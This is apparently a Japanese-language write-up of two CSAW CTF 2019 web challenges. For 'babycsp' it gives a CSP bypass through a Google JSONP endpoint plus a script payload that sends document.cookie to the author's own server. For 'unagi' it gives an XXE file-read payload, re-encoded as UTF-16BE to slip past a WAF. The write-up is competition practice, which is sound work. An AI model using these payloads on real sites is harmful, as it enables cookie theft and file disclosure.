CSAW CTF 2019 writeup

院試とかで2ヶ月弱CTFやってませんでした(院試勉強してたとは言ってない)


babycsp

I heard CSP is all the rage now. It's supposed to fix all the XSS, kill all of the confused deputies, and cure cancer?

The flag is in the cookies

http://web.chal.csaw.io:1000

入力文字列を表示してくれるページがあり,管理者に報告したらその内容を見にくるよ,というよくある設定.

htmlタグがサニタイズされていないけれど,CSPがあってjs実行は無理.

cspは,default-src 'self'; script-src 'self' *.google.com; connect-src *

*.google.comが使えそう.

<script src='https://www.google.com/complete/search?client=chrome&jsonp=alert(1)><script>

でalertできましたが,cookieにhttponlyがついてます.

<script src='https://www.google.com/complete/search?client=chrome&jsonp=location.replace([`http://myserver?`,document.cookie].join())'><script>

こんなペイロードでflagが取れました.

管理者側だけhttponlyついてないってどういうこと...

flag{csp_will_solve_EVERYTHING}

seccon beginnersでも似たようなものが出て,それは20チームくらいだったのに対して, こっちは同じくらいの難易度(?)なのに200チームも解いてた


unagi

come get me

http://web.chal.csaw.io:1003

xmlファイルをアップロードして,内容を表示してくれるサイト.

簡単なXXEに見えるけど,攻撃しようとしたらWAFに弾かれます.

ENTITYとかSYSTEMの文字列に反応してるっぽい.

WAFのbypassを調べました.

<?xml version="1.0" encoding="UTF-16BE" ?>
<!DOCTYPE title[
    <!ELEMENT title ANY >
    <!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=/flag.txt">
]>
<users>
    <user>
        <username>alice</username>
        <password>passwd1</password>
        <name>test</name>
        <email>test</email>
        <group>CSAW2017</group>
        <intro>&test; </intro>
    </user>
</users>
cat sample.xml | iconv -f UTF-8 -t UTF-16BE >test.xml

intro以外は1行しか表示されなくて戸惑った.

flag{n0w_i'm_s@d_cuz_y0u_g3t_th3_fl4g_but_c0ngr4ts}